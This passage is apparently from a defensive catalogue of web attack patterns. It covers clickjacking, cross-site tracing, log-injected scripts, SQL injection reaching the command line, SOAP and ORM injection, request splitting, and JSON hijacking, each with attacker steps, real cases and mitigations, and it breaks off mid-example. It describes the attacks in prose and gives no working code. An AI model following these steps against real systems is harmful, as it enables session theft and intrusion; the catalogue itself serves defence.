hotspot, he has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but his e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account. Low: Easy to use tools exist to automate this attack. Low: A laptop and access to a public WiFi network. Use available tools to snoop on communications between the victim and the target system and try to capture the transmitted session token Use the captured session token to impersonate the victim on the target system to perform actions and view information on their behalf. Make sure that HTTPS is used to communicate with the target system. Alternatively, use VPN if possible. It is importnat to ensure that all communication between the client and the server happens via an encrypted secure channel. Modify the session token with each transmission and protect it with cryptography. Add the idea of request sequencing that gives the server an ability to detect replay attacks. Privilege Escalation Data Modification Information Leakage Denial of Service 294 Targeted 522 Targeted 523 Targeted 319 Targeted 614 Secondary Ensure that SSL is used for all communication between the client and the target system where sensitive data and/or operations are available. Ensure that session cookies are only transmitted via SSL pipes by setting the cookie's secure attribute to true. Protect Sensitive Data in Transit Exploitation High High Low Client-Server All All All Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

In a clickjacking attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attacker's malicious site which displays a UI that the victim wishes to interact with. In reality, the clickjacked page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most certainly undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks he's clicking on versus what he or she is actually clicking on.

Craft a clickjacking page The attacker utilizes web page layering techniques to try to craft a malicious clickjacking page The attacker leveraged iFrame overlay capabilities to craft a malicious clickjacking page env-Web The attacker leveraged Flash file overlay capabilities to craft a malicious clickjacking page env-Web The attacker leveraged Silverlight overlay capabilities to craft a malicious clickjacking page env-Web The attacker leveraged cross-frame scripting to craft a malicious clickjacking page env-Web Overlay capabilities are enabled in the browser env-Web A page is created that performs unseen actions when the user interacts with the visible UI Disable overlay functionality in the browser. This can have obvious impact on the utility of the browser with some sites and web applications. Attacker lures victim to clickjacking page Attacker utilizes some form of temptation, misdirection or coercion to lure the victim to loading and interacting with the clickjacking pagen a way that increases the chances that the victim will click in the right areas. Lure the victim to the malicious site by sending the victim an e-mail with a URL to the site. env-Web Lure the victim to the malicious site by manipulating URLs on a site trusted by the victim. env-Web Lure the victim to the malicious site through a cross-site scripting attack. env-Web The victim loads the clickjacking page. Trick victim into interacting with the clickjacking page in the desired manner The attacker tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege. Hide action controls over very commonly used functionality. env-Web Hide action controls over very psychologically tempting content. env-Web The victim is communicating with the target application via a web based UI and not a thick client The victim's browser security policies allow at least one of the following JavaScript, Flash, iFrames, ActiveX, or CSS. The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser) The victim has an active session with the target system. The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system High Medium Spoofing Social Engineering A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which he or she subscribes with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens. In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an attacker's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the elctronic payment service. High: Crafting the proper malicious site and luring the victim to this site are not trivial tasks. Low: A computer connected to the internet. If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames. Turn off JavaScript, Flash and disable CSS. When maintaining an authenticated session with a privileged target system, do not use the same browser to navigate to unfamiliar sites to perform other activities. Finish working with the target system and logout first before proceeding to other tasks. Privilege Escalation Data Modification Information Leakage Denial of Service 693 Targeted Enforce maximum security restrictions in the browser: JavaScript disabled, Flash disabled, CSS disabled, iFrames forbidden Shed elevated privileges as soon as possible (i.e. log out of the target application once finished with it and before doing other things in the browser) Exploitation High High Low Client-Server All All All Evgeny Lebanidze Cigital, Inc 2009-01-14 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attacker's content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.

Find systems susceptible to the attack Find systems that contain functionality that is accessed from both the internet zone and the local zone. There needs to be a way to supply input to that functionality from the internet zone and that original input needs to be used later on a page from a local zone. Leverage knowledge of common local zone functionality on targeted platforms to guide attempted injection of code through relevant internet zone mechanisms. In some cases this may be due to standard system configurations enabling shared functionality between internet and local zones. The attacker can search for indicators that these standard configurations are in place. env-Web Ensure standard system configurations do not enable shared functionality between internet and local zones Find the insertion point for the payload The attacker first needs to find some system functionality or possibly another weakness in the system (e.g. susceptibility to cross site scripting) that would provide the attacker with a mechanism to deliver the payload (i.e.the code to be executed) to the user. The location from which this code is executed in the user's browser needs to be within the local machine zone. Finding weaknesses in functionality used by both privileged and unprivileged users. env-Web Craft and inject the payload Develop the payload to be executed in the higher privilged zone in the user's browser. Inject the payload and attempt to lure the victim (if possible) into executing the functionality which unleashes the payload. The attacker makes it as likely as possible that the vulnerable functionality into which he has injected the payload has a high likelihood of being used by the victim. env-Web Leverage cross-site scripting vulnerability to inject payload. env-Web The target must be using a zone-aware browser. High Medium Analysis Injection There was a cross zone scripting vulnerability discovered in Skype that allowed one user to upload a video with a maliciously crafted title that contains a script. Subsequently, when the victim attempts to use the "add video to chat" feature on attacker's video, the script embedded in the title of the video runs with local zone privileges. Skype is using IE web controls to render internal and external HTML pages. "Add video to chat" uses these web controls and they are running in the Local Zone. Any user who searched for the video in Skype with the same keywords as in the title field, would have the attacker's code executing in their browser with local zone privileges to their host machine (e.g. applications on the victim's host system could be executed). Medium: Ability to craft malicious scripts or find them elsewhere and ability to identify functionality that is running web controls in the local zone and to find an injection vector into that functionality No specialized equipment is needed Disable script execution. Ensure that sufficient input validation is performed for any potentially untrusted data before it is used in any privileged context or zone Limit the flow of untrusted data into the privileged areas of the system that run in the higher trust zone Limit the sites that are being added to the local machine zone and restrict the privileges of the code running in that zone to the bare minimum Ensure proper HTML output encoding before writing user supplied data to the page Data Modification Information Leakage Privilege Escalation Run Arbitrary Code In the cross zone scripting attack, there is usually some piece of system functionality that can be accessed from more than one zone and there is a weakness in that functionality. In particular, the attacker needs to have the ability to introduce content from the internet (less privileged) zone and then have the victim access this functionality from the local (more privileged )zone. The attacker initially injects the payload into the system from some interface available from the internet zone. This payload can execute only if local machine zone privileges are present. The victim then comes across some functionality that triggers the execution of this payload in the local machine zone where it has higher privileges in terms of its ability to interact with the host system. 250 Targeted 638 Targeted 285 Targeted 116 Secondary 20 Secondary Enforce least privilege Reluctance to trust Exploitation High High High n-Tier All All All Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

HTTP Request Splitting (also known as HTTP Request Smuggling) is an attack pattern where an attacker attempts to insert additional HTTP requests in the body of the original (enveloping) HTTP request in such a way that the browser interprets it as one request but the web server interprets it as two. There are several ways to perform HTTP request splitting attacks. One way is to include double Content-Length headers in the request to exploit the fact that the devices parsing the request may each use a different header. Another way is to submit an HTTP request with a "Transfer Encoding: chunked" in the request header set with setRequestHeader to allow a payload in the HTTP Request that can be considered as another HTTP Request by a subsequent parsing entity. A third way is to use the "Double CR in an HTTP header" technique. There are also a few less general techniques targetting specific parsing vulnerabilities in certain web servers.

Investigate Target Environment Determine the technologies used in the target environment such as types of browsers, web servers, application firewalls, proxies, etc. Investigation of the target environment to determine the types of technologies used to parse the incoming HTTP requests. Attempt to understand how HTTP Request headers are parsed env-Web Post a malicious HTTP Request Post a malicious HTTP request that will be interpreted as multiple HTTP requests when parsed on the server Post a malicious HTTP Request utilizing double CR/LF characters in HTTP header to cause request splitting env-Web Post a malicious HTTP Request utilizing "Transfer Encoding: chunked" in the request header to cause request splitting env-Web Post a malicious HTTP Request utilizing double Content-Length headers to cause request splitting env-Web User-manipulatable HTTP Request headers are processed by the web server High Medium Protocol Manipulation Injection Analysis Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and prior, and 7.0 contain a vulnerability that could allow an unauthenticated, remote attacker to conduct HTTP request splitting and smuggling attacks. The vulnerability is due to an input validation error in the browser that allows attackers to manipulate certain headers to expose the browser to HTTP request splitting and smuggling attacks. Attacks may include cross-site scripting, proxy cache poisoning, and session fixation. In certain instances, an exploit could allow the attacker to bypass web application firewalls or other filtering devices. Microsoft has confirmed the vulnerability and released software updates Medium: Good understanding of the HTTP protocol and the parsing mechanisms employed by various web servers Low: No specialized equipment is needed Issue HTTP Requests against a target server and examine responses. Make sure to install the latest vendor security patches available for the web server. If possible, make use of SSL. Install a web application firewall that has been secured against HTTP Request Splitting Use web servers that employ a tight HTTP parsing process Run Arbitrary Code Privilege Escalation Information Leakage Data Modification 436 Targeted 444 Secondary System integration testing must include security checks to protect against Multiple Interpretation Errors across systems. Economy of Mechanism Secure the Weakest Link Compartmentalization Defense in Depth Understand the possible underlying weaknesses in the third party technologies being used and stay up to date with the vendor patches. Exploitation Medium Medium Low Client-Server All All All Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attacker's scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.

Probe for log injection vulnerability The attacker probes all user-controllable data inputs to the system to probe for log injection vulnerabilities. This may be difficult (unless the attacker has a white box view of the system) because there may not be a feedback event to indicate to the attacker that certain information is being logged. User injected input shows up in the logs Apply appropriate input validation and filtering of user-controllable input before writing to logs Probe for cross-site scripting vulnerability The attacker probes all user-controllable data inputs to the system to probe for any cross-site scripting vulnerabilities. Cross-site scripting vulnerabilities identified anywhere in the application indicate an increased potential that such vulnerabilities may exist in the log management portions of the application. Attacker-injected script is executed in user's browser. HTML encode all log contents before displaying in log management interfaces. Confirm exploitability Create a simple script and inject it into one of the potentially vulnerable fields. This script should take some action which will give an attacker an indication that the attack vector exists. The idea is to receive some sort of a feedback event that confirms that an attack is succeeding. That is done with a simple script prior to crafting possibly a more complex script to launch an actual attack. env-Web Expected script execution feedback event is observed. Inject System Logs with Malicious Scripts Create a malicious script to run in the administrator's web based interface and inject it in the system's logs through one of the user controlled fields that are being logged. Inject the vulnerable fields by tampering with their values to contain the malicious scripts. Possibly trigger another event that makes it more likely that injected logs are viewed in the vulnerable UI as soon as possible. env-Web The system uses a web based interface The system does not cleanse / validate user supplied data before writing it to logs Information from logs is displayed in a web based interface The web based log interface does not HTML output encode the log data prior to displaying it in the administrator console. High Medium Injection An attacker determines that a particular system uses a web based interface for administration. The attacker creates a new user record and supplies a malicious script in the user name field. The script will steal the administrator's authentication cookie and forward it to a site controlled by the attacker. The user name field is not validated by the system and is logged as is in the log. At some point later, an administrator reviews the log activity in the administrative console. When the administrator comes across the attacker's activity record, the malicious script is executed in the context of the attacker's browser, stealing the administrator's authentication cookie and forwarding it to the attacker. An attacker then uses the received authentication cookie to log in to the system as an administrator, assuming that the administrator console can be accessed remotely. Low: Requires to ability to write a simple scipt and try to inject it through various user controlled fields in the system. No specialized hardware is required Locate system screens for operations that are likely to be logged and use these as starting points for injection Cleanse all user supplied data before placing it in the logs. Reject all bad data. Ensure that the data is in the expected form. Use proper HTML output encoding techniques to strip the log data of potentially dangerous scripting characters before displaying it in the administrative console If possible, disable script execution in the administrative interface. Information Leakage Privilege Escalation Run Arbitrary Code Data Modification 117 Targeted 74 Secondary 20 Secondary 93 More Detailed Log injection attack pattern is one of the components of the current attack pattern 63 More Detailed Script injection attack pattern is one of the components of the current attack pattern HTML output encode all data prior to writing to an HTML page Properly validate and cleanse/reject user supplied data before writing it to log files Reluctance to Trust Defense in Depth Exploitation High High Medium Client-Server n-Tier SOA All All All Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

Cross Site Tracing (XST) enables an attacker to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. The attacker first gets a malicious script to run in the victim's browser that induces the browser to initiate an HTTP TRACE request to the web server. If the destination web server allows HTTP TRACE requests, it will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. The function of HTTP TRACE, as defined by the HTTP specification, is to echo the request that the web server receives from the client back to the client. Since the HTTP header of the original request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the attacker's malicious site. XST becomes relevant when direct access to the session cookie via the "document.cookie" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an attacker can exploit that weakness directly to get his or her malicious script to issue an HTTP TRACE request to the destination system's web server. In the absense of an XSS weakness on the site with which the victim is interacting, an attacker can get the script to come from the site that he controls and get it to execute in the victim's browser (if he can trick the victim's into visiting his malicious website or clicking on the link that he supplies). However, in that case, due to the single origin policy protection mechanism in the browser, the attacker's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An attacker will then need to find a way to exploit another weakness that would enable him or her to get around the single origin policy protection.

Determine if HTTP Trace is enabled Determine if HTTP Trace is enabled at the web server with which the victim has a an active session An attacker may issue an HTTP Trace request to the target web server and observe if the response arrives with the original request in the body of the response. env-Web HTTP Trace is enabled on the web server env-Web The original request is returned after the HTTP Trace request. Identify mechanism to launch HTTP Trace request The attacker attempts to force the victim to issue an HTTP Trace request to the targeted application. The attacker probes for cross-site scripting vulnerabilities to force the victim into issuing an HTTP Trace request. env-Web Attacker's script is executed within the browser context. Create a malicious script that pings the web server with HTTP TRACE request Create a malicious script that will induce the victim's browser to issue an HTTP TRACE request to the destination system's web server. The script will further intercept the response from the web server, pick up sensitive information out of it, and forward to the site controlled by the attacker. The attacker's malicious script circumvents the httpOnly cookie attribute that prevents from hijacking the victim's session cookie directly using document.cookie and instead leverages the HTTP TRACE to catch this information from the header of the HTTP request once it is echoed back from the web server in the body of the HTTP TRACE response. env-Web Execute malicious HTTP Trace launching script The attacker leverages a vulnerability to force the victim to execute the malicious HTTP Trace launching script HTTP TRACE is enabled on the web server The destination system is susceptible to XSS or an attacker can leverage some other weakness to bypass the single origin policy Scripting is enabled in the client's browser HTTP is used as the communication protocol between the server and the client Very High Medium Protocol Manipulation Injection An attacker determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An attacker realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with his malicious script. Instead, the attacker has his script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The attacker picks the session cookie from the body of HTTP TRACE response and ships it to the attacker. The attacker then uses the newly acquired victim's session cookie to impersonate the victim in the target system. Medium: Understanding of the HTTP protocol and an ability to craft a malicious script No specialized resources are needed Send HTTP TRACE requests to the destination web server to see if it responds Administrators should disable support for HTTP TRACE at the destination's web server. Vendors should disable TRACE by default. Patch web browser against known security origin policy bypass exploits. Information Leakage Privilege Escalation Data Modification XST attack becomes an interesting option for an attacker where a standard XSS attack to hijack the victim's session cookie is not possible because httpOnly security attribute was set for the cookie preventing retrieval of the cookie's value with document.cookie 693 Targeted 648 Targeted Turn off HTTP TRACE on the web server (if not needed) Complete Mediation Secure by Default Exploitation High High Medium Client-Server All All All http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Probe for SQL Injection vulernability The attacker injects SQL syntax into user-controllable data inputs to search unfiltered execution of the SQL syntax in a query. Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives an error message from server indicating that there was a problem with the SQL query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol At least one user-controllable input susceptible to injection found. No user-controllable input susceptible to injection found. Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.). Input validation of user-controlled data before including it in a SQL query Use parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET) Achieve arbitrary command execution through SQL Injection with the MSSQL_xp_cmdshell directive The attacker leverages a SQL Injection attack to inject shell code to be executed by leveraging the xp_cmdshell directive. Attacker's injected code is executed. Disable xp_cmdshell stored procedure on the database. Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.). Input validation of user-controlled data before including it in a SQL query Use parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET) Inject malicious data in the database Leverage SQL injection to inject data in the database that could later be used to achieve command injection if ever used as a command line argument Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.). Input validation of user-controlled data before including it in a SQL query Use parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET) Trigger command line execution with injected arguments The attacker causes execution of command line functionality which leverages previously injected database content as arguments. Attacker's injected code is executed. The application does not properly validate data before storing in the database Backend application implicitly trusts the data stored in the database Malicious data is used on the backend as a command line argument Very High Low Analysis Injection SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function (CVE-2006-6799). Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6799 High: The attacker most likely has to be familiar with the internal functionality of the system to launch this attack. Without that knowledge, there are not many feedback mechanisms to give an attacker the indication of how to perform command injection or whether the attack is succeeding. No specialized resources are required Disable MSSQL xp_cmdshell directive on the database Properly validate the data (syntactically and semantically) before writing it to the database. Do not implicitly trust the data stored in the database. Re-validate it prior to usage to make sure that it is safe to use in a given context (e.g. as a command line argument). Data Modification Information Leakage Denial of Service Privilege Escalation Run Arbitrary Code 89 Targeted 74 Secondary 20 Secondary 78 Targeted 114 Targeted Validate all data syntactically and semantically before writing it to the database Do not implicitly trust database data and validate it to ensure that it is safe in the context in which it is being used Defense in Depth Least Privilege Exploitation High High High All All All All Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

Determine Persistence Framework Used An attacker tries to determine what persistence framework is used by the application in order to leverage a weakness in the generated data access layer code or a weakness in a way that the data access layer may have been used by the developer. An attacker provides input to the application in an attempt to induce an error screen that reveals a strack trace that gives an indication of the automated data access layer used. Or an attacker may simply make some educated guesses and assume, for instance, that Hibernate is used and try to craft an attack from there. env-Web Probe for ORM Injection vulnerabilities The attacker injects ORM syntax into user-controllable data inputs of the application to determine if it is possible modify data query structure and content. Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives an error message from server indicating that there was a problem with the data query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol Perform SQL Injection through the generated data access layer An attacker proceeds to exploit a weakness in the generated data access methods that does not properly separate control plane from the data plan, or potentially a particular way in which developer might have misused the generated code, to modify the structure of the executed SQL queries and/or inject entirely new SQL queries. An attacker uses normal SQL injection techniques and adjusts them to reflect the type of data access layer generation framework used by the application. env-Web Attacker achieves goal of unauthorized system access, denial of service, etc. Attacker unable to exploit SQL Injection vulnerability. An application uses data access layer generated by an ORM tool or framework An application uses user supplied data in queries executed against the database The separation between data plane and control plane is not ensured, through either developer error or an underlying weakness in the data access layer code generation framework High Low Injection Analysis API Abuse When using Hibernate, it is possible to use the session.find() method to run queries against the database. This is an overloaded method that provides facilities to perform binding between the supplied user data and place holders in the statically defined query. However, it is also possible to use the session.find() method without using any of these query binding overloads, hence effectively concatenating the user supplied data with rest of the SQL query, resulting in a possibility for SQL injection. While the framework may provide mechanisms to use methods immune to SQL injections, it may also contain ways that are not immune that may be chosen by the developer. Medium: Knowledge of general SQL injection techniques and subtleties of the ORM framework is needed No specialized resources are required. Provide various input to the system in an attempt to induce an error that would reveal stack trace information about the ORM layer (if any) used Remember to understand how to use the data access methods generated by the ORM tool / framework properly in a way that would leverage the built-in security mechanisms of the framework Ensure to keep up to date with security relevant updates to the persistence framework used within your application. Data Modification Denial of Service Information Leakage Privilege Escalation Run Arbitrary Code 20 Targeted 100 Targeted 89 Targeted 564 Targeted Ensure that the ORM data access methods that are used by the application leverage parameter binding Defense in Depth Keep it Simple Compartmentalization Exploitation High High High Client-Server All All All http://www.owasp.org/index.php/Testing_for_ORM_Injection Evgeny Lebanidze Cigital, Inc 2009-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

Detect Incorrect SOAP Parameter Handling The attacker tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application. The attacker tampers with the SOAP message parameters by injecting some special characters such as single quotes, double quotes, semi columns, etc. The attacker observes system behavior. env-Web SOAP messages are used as a communication mechanism in the system env-Web Any indication that the injected input is causing system trouble (e.g. stack traces are produced, the system does not respond, etc.) then the attacker may come to conclude that the system is vulnerable to SQL injection through SOAP parameter tampering. Probe for SQL Injection vulernability The attacker injects SQL syntax into vulnerable SOAP parameters identified during the Explore phase to search for unfiltered execution of the SQL syntax in a query. Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives an error message from server indicating that there was a problem with the SQL query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol At least one SOAP parameter susceptible to injection found. No SOAP parameter susceptible to injection found. Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.). Input validation of SOAP parameter data before including it in a SQL query Use parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET) Inject SQL via SOAP Parameters The attacker injects SQL via SOAP parameters identified as vulnerable during Explore phase to launch a first or second order SQL injection attack. An attacker performs a SQL injection attack via the usual methods leveraging SOAP parameters as the injection vector. An attacker has to be careful not to break the XML parser at the service provider which may prevent the payload getting through to the SQL query. The attacker may also look at the WSDL for the web service (if available) to better understand what is expected by the service provider. env-Web Attacker achieves goal of unauthorized system access, denial of service, etc. Attacker unable to exploit SQL Injection vulnerability. SOAP messages are used as a communication mechanism in the system SOAP parameters are not properly validated at the service provider The service provider does not properly utilize parameter binding when building SQL queries Very High High Injection Analysis An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. He notices that the system fails to respond when these malicious inputs are injected in certain parameters transffered in a SOAP message. The attacker crafts a SQL query that modifies his payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure. Medium: If the attacker is able to gain good understanding of the system's database schema; High: If the attacker has to perform SQL injection blindly No specialized hardware resources are required Inject SQL characters in SOAP parameters and observe system behavior Review WSDL to understand what is expected by the service provider Properly validate and sanitize/reject user input at the service provider. Ensure that prepared statements or other mechanism that enables parameter binding is used when accessing the database in a way that would prevent the attacker's supplied data from controlling the structure of the executed query. At the database level, ensure that the database user used by the application in a particular context has the minimum needed privileges to the database that are needed to perform the operation. When possible, run queries against pregenerated views rather than the tables directly. Data Modification Denial of Service Information Leakage Privilege Escalation Run Arbitrary Code 89 Targeted 20 Secondary Always safely access the database through prepared statements that leverage parameter binding Properly validate all SOAP parameters to ensure that their values are as expected Reject bad user input (do not try to sanitize it) Defense in Depth Least Privilege Remember that the client can be made invisible Exploitation High High High SOA All All All Evgeny Lebanidze Cigital, Inc 2008-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Single Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit his or her malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attacker's server. There is nothing in the browser's security model to prevent the attacker's malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attacker's controlled site. The single origin policy protects the domain object model (DOM), but not the JSON.

Understand How to Request JSON Responses from the Target System An attacker first explores the target system to understand what URLs need to be provided to it in order to retrieve JSON objects that contain information of interest to the attacker. An attacker creates an account with the target system and observes requests and the corresponding JSON responses from the server. Understanding how to properly elicit responses from the server is crucial to the attacker's ability to craft the exploit. env-Web Targeted application leverages JSON in its architecture. env-Web Craft a malicious website The attacker crafts a malicious website to which he plans to lure the victim who is using the vulnerable target system. The malicious website does two things: 1. Contains a hook that intercepts incoming JSON objects, reads their contents and forwards the contents to the server controlled by the attacker (via a new XMLHttpRequest). 2. Uses the script tag with a URL in the source that requests a JSON object from the vulnerable target system. Once the JSON object is transmitted to the victim's browser, the malicious code (as described in step 1) intercepts that JSON object, steals its contents, and forwards to the attacker. This attack step leverages the fact that the single origin policy in the browser does not protect JavaScript originating from one domain from setting up an environment to intercept and access JSON objects arriving from a completely different domain. The JSON object hook captures, reads and forwards JSON objects The malicious website effectively requests JSON objects from the target system Launch JSON hijack An attacker lures the victim to the malicious website or leverages other means to get his malicious code executing in the victim's browser. Once that happens, the malicious code makes a request to the victim target system to retrieve a JSON object with sensitive information. The request includes the victim's session cookie if the victim is logged in. An attacker employs a myriad of standard techniques to get the victim to visit his or her malicious site or by some other means get the attacker's malicious code executing in the victim's browser. env-Web The sensitive contents of captured JSON objects are readable by the attacker. JSON is used as a transport mechanism between the client and the server The target server cannot differentiate real requests from forged requests The JSON object returned from the server can be accessed by the attacker's malicious code via a script tag High High Protocol Manipulation Analysis Spoofing Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's gmail account (which ensures that the victim is logged in to gmail when he or she receives it) with a link to the attacker's malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the gmail servers to fetch the victim's 